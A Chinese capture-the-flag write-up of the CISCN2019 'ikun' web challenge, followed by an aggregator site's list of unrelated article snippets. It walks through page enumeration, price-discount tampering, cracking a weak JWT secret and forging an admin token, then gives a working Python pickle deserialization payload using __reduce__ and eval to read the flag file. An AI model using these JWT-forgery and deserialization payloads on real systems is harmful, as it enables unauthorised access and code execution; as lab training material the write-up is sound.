[CISCN2019 华北赛区 Day1 Web2]ikun

看到提示说一定要找到lv6

这要写脚本来爆破了,用bp是爆破不出来的

发现LV等级都是有参数挂着的

写个脚本看一下

import requests
for i in range(1,1000):payload="http://node4.anna.nssctf.cn:28150/shop?page=%d"%(i)res=requests.get(payload)if "lv6.png" in res.content.decode('utf-8'):print(i)break

发现是在181页

购买需要登录,先随便注册一个账号,

 发现根本买不起, 

 抓个包看看有没有逻辑漏洞

把折扣改的极其大,发现跳转到这个页面,要admin访问

 发现这里有个点是jwt,很容易联想到jwt加解密

 用一个在线解码发现了

改成admin尝试登录

 跳转到这个路径上了,并且发现是500,服务错误,应该是jwt的密钥不对,导致正常的回显页面没出来

 使用了JWT身份验证,这里用户名为123,密码为123,用解密工具:c-jwt-cracker试着爆破一下

两种工具

1、c-jwt-cracker - ( https://github.com/brendan-rius/c-jwt-cracker)

C-jwt-cracker 是暴力破解 JWT 的私钥的工具。此外,它使用了 JWT 的实现,c-jwt-cracker 使用的 Base64库被证明是错误的,并且提供了无效的结果。

2、jwt-cracker -  https://github.com/lmammino/jwt-cracker

该工具仅限于单一的签名算法(HS256) ,如果提供了不同的签名算法,则无法进行操作。

在这里使用 jwt-cracker 安装命令:

npm install --global jwt-cracker

安装好之后,运行命令:

jwt-cracker -t  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InR0In0.aT0YBJFCjWrVH5uwibrji_0NLf_1SHX3sfnBz14jmKE

在kali里边

apt-get install git
git clone https://github.com/brendan-rius/c-jwt-cracker

下载到本地后需要使用,make命令,就会生成jwtcrack

 如果make报错

执行

sudo apt-get install libssl-dev

在make就可以了

 爆破出来密钥是1Kun

改下jwt发现成功登录

JWT=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo 

发现点击成为大会员一点用都没有

查看个人中心,发现hint是编码

网站都不用找了,直接gpt......

 但是lv6页面我也是没找到什么东西,在/b1g_m4mber页面发现了源码压缩包,下载下来开始审计

接下来就是开始审计代码

看了看main.py没发现什么

 看了下Admin.py,和这题的标签有点吻合,是python的反序列化

 Admin.py

import tornado.web
from sshop.base import BaseHandler
import pickle
import urllibclass AdminHandler(BaseHandler):@tornado.web.authenticateddef get(self, *args, **kwargs):if self.current_user == "admin":return self.render('form.html', res='This is Black Technology!', member=0)else:return self.render('no_ass.html')@tornado.web.authenticateddef post(self, *args, **kwargs):try:become = self.get_argument('become')p = pickle.loads(urllib.unquote(become))return self.render('form.html', res=p, member=1)except:return self.render('form.html', res='This is Black Technology!', member=0)

关键句是 p = pickle.loads(urllib.unquote(become))

这里用的是 pickle.loads函数

 又看到是python2解释器

python2和python3的print是不一样的,python2中print是语句,但是在python3中print是函数

python2中的print "" 输出加不加括号都可以

而 python3中的print()必须要加括号

 

(1)pickle.dump(obj, file, [,protocol])
    函数的功能:将obj对象序列化存入已经打开的file中。
   参数讲解:
obj:想要序列化的obj对象。file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
(2)pickle.load(file)
    函数的功能:将file中的对象序列化读出。    参数讲解:
file:文件名称。
(3)pickle.dumps(obj[, protocol])
   函数的功能:将obj对象序列化为string形式,而不是存入文件中。
   参数讲解:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
(4)pickle.loads(string)
   函数的功能:从string中读出序列化前的obj对象。
   参数讲解:
string:文件名称。

而在form.html中, <div class="ui segment">{{ res }}</div>这句话说明传入是可以回显的

那我们的目的明显是读取flag文件,然后利用res输出内容。

dump() 与 load() 相比 dumps() 和 loads() 还有另一种能力:dump()函数能一个接着一个地将几个对象序列化存储到同一个文件中,随后调用load()来以同样的顺序反序列化读出这些对象。而在__reduce__方法里面我们就进行读取flag.txt文件,并将该类序列化之后进行URL编码

# -*- coding: utf-8 -*-
import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print(a)

c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A. 

 

 

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/7772.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Unity】如何获得两个List各自的补集

【背景】 在项目中需要处理这样的逻辑,将所有活跃客户端的IP地址形成一个IP地址列表,与项目中已经生成按钮实例的IP按钮进行比照,如果某一个IP处于活跃状态,但是并未生成实例按钮,那么就生成实例。如果一个按钮的IP地址不存在于当前的IP地址列表中,则需要销毁这个Button…

Misc 流量分析

流量分析简介 网络流量分析是指捕捉网络中流动的数据包&#xff0c;并通过查看包内部数据以及进行相关的协议、流量分析、统计等来发现网络运行过程中出现的问题。 在CTF比赛中&#xff0c;以及各种技能大赛对于流量包的分析取证是一种十分重要的题型。通常这类题目都是会提供…

【工作记录】openjdk-22基础镜像的构建

背景 近期使用到的框架底层都用的是springboot3.0&#xff0c;要求jdk版本在17甚至更高。 于是决定制作一个基于openjdk22的基础镜像&#xff0c;本文对这一过程进行记录。 作为记录的同时也希望能够帮助到需要的朋友。 期望效果 容器内可以正常使用java相关命令且版本是2…

6.移除元素

文章目录 题目简介题目解答解法一&#xff1a;双指针代码&#xff1a;复杂度分析&#xff1a; 解法二&#xff1a;双指针优化代码&#xff1a;复杂度分析&#xff1a; 题目链接 大家好&#xff0c;我是晓星航。今天为大家带来的是 相关的讲解&#xff01;&#x1f600; 题目简…

上海计算机学会2021年1月月赛C++丙组T2康托表

题目背景 康托是一名数学家&#xff0c;他证明了一个重要的定理&#xff0c;需要使用一张表&#xff1a; 这个表的规律是&#xff1a; 从上到下&#xff1a;每一行的分子依次增大&#xff1b;从左到右&#xff1a;每一列的分母依次增大。 康托以一种不重复、不遗漏的方式&am…

基于Springboot的教学辅助系统(有报告)。Javaee项目,springboot项目。

演示视频&#xff1a; 基于Springboot的教学辅助系统&#xff08;有报告&#xff09;。Javaee项目&#xff0c;springboot项目。 项目介绍&#xff1a; 采用M&#xff08;model&#xff09;V&#xff08;view&#xff09;C&#xff08;controller&#xff09;三层体系结构&…

QSPI的使用

Quad SPI接口(QSPI)是一种同步串行数据链路,在主模式下提供与外部设备的通信。它类似于SPI协议,只是它有额外的数据线。 普通SPI有四条通信线路:芯片选择、时钟、MOSI和MISO。对于QSPI,可提供额外的数据线。因此,命令/数据/地址是根据所选模式通过单、四或双IO发送的。由…

Linux内核--设备驱动(七)媒体驱动框架整理--HDMI框架(1)

目录 一、引言 二、HDMI框架 ------>2.1、硬件结构 ------>2.2、上层协议 ------------>2.2.1、HDCP协议 ------>2.3、HDMI驱动源码分析 ------------>2.3.1、HDMI dts节点 ------------>2.3.2、驱动 ------------>2.3.3、热插拔 三、HDMI时序 …

Git使用经验总结4-撤回上一次本地提交

这个问题的意义在于&#xff0c;Git提交代码是先提交到本地&#xff0c;然后再推送到远端。一些比较严格的Git仓库会有一些代码提交检查&#xff0c;一旦检查到问题就会禁止提交。那么这个时候就尴尬了&#xff0c;本地已经提交了&#xff0c;但是远端又推送不上去。基于当前版…

git 更换远程仓库地址三种方法总结

git 更换远程仓库地址三种方法总结 一、前言 由于私服的 gitlab 的地址变更&#xff0c;导致部分项目代码提交不上去&#xff0c;需要修改远端仓地址。 其它需要修改远程仓地址的情况如&#xff1a;切换git clone 协议由ssh变为https。 二、环境 windows 10git version 2.3…

跨域初识--.如何解决跨域

04 【跨域初识】 1.同源策略 同源策略(Same-Origin Policy)最早由Netscape 公司提出&#xff0c;是浏览器的一种安全策略同源&#xff1a; 协议、域名、端口号必须完全相同跨域&#xff1a; 违背同源策略就是跨域 2.如何解决跨域 2.1 JSONP jsonp只支持get请求不支持post请…

Linux实操之常用指令详解

文章目录 vi 和 vimvi 和 vim 基本使用 开机、重启和用户登录注销关机&重启命令用户登录和注销 用户管理基本介绍基本语法细节说明修改密码删除用户查询用户信息指令切换用户查看当前用户/登录用户用户组 实用指令指定运行级别帮助指令文件目录类时间和日期类搜索查找类压缩…

C语言从入门到入门

一、引言 C语言是一种通用的、过程式的计算机编程语言,支持结构化编程、词汇变量作用域和递归等功能,其设计提供了低级别的存取权限,并且要求程序员管理所有的内存细节。C语言具有高效、灵活和可移植性等特点,因此被广泛应用于系统编程、嵌入式系统开发、游戏开发等领域。 …

ENVI下实现遥感矿物蚀变信息提取

蚀变岩石是在热液作用影响下&#xff0c;使矿物成分、化学成分、结构、构造等发生变化的岩石。由于它们经常见于热液矿床的周围&#xff0c;因此被称为蚀变围岩&#xff0c;蚀变围岩是一种重要的找矿标志。利用围岩蚀变现象作为找矿标志已有数百年历史&#xff0c;发现的大型金…

uni-app H5上传图片压缩体积大小

// 用户上传头像 uploadAvatar(){ let _this this uni.chooseImage({ success: (chooseImageRes) > { const tempFilePaths chooseImageRes.tempFilePaths; …

Linux\_c输出

第一条Linux_c输出 初界面 : ls # 显示目录下的文件cd # 进入到某个目录 # 比如 我进入了Codels # 发现没有显示, 说明为文件下为空vim cpucdoe.c # 创建一个 .c的源码文件进入到了vim的编辑界面: i # 按i 就可以进行编辑 , 下面显示插入标识在编辑模式下, 可以通…

自定义类如何实现信号与槽机制

如果直接创建一个类&#xff0c;他是没有信号与槽机制的&#xff0c;我们需要人为的干预才可以 #ifndef TCPSERVER_H #define TCPSERVER_H#include <QTcpServer>class TcpServer : public QTcpServer {public:TcpServer(); };#endif // TCPSERVER_H在头文件里面加入Q_O…

云计算导论(1)---云计算概述

文章目录 1. 云计算定义与特点2. 云计算的技术架构3. 云计算面临的挑战 1. 云计算定义与特点 1. 云是网络、互联网的一种比喻说法。云计算是基于互联网的相关服务的增加、使用和交付模式&#xff0c;通常涉及通过互联网来提供动态易扩展且经常是虚拟化的资源。 2. 云计算是一种…

Java性能优化(五)-多线程调优-Lock同步锁的优化

作者主页&#xff1a; &#x1f517;进朱者赤的博客 精选专栏&#xff1a;&#x1f517;经典算法 作者简介&#xff1a;阿里非典型程序员一枚 &#xff0c;记录在大厂的打怪升级之路。 一起学习Java、大数据、数据结构算法&#xff08;公众号同名&#xff09; ❤️觉得文章还…

Android getevent命令详细分析

在调试Android 的输入事件时&#xff0c;经常使用 “getevent -lrt” 命令&#xff0c;来确认驱动上报数据是否正常。从源码的角度来详细的分析一下getevent 这个程序。 首先用ls命令来看一下getevent lrwxr-xr-x 1 root shell 7 2023-11-20 10:08 system/bin/getevent -> …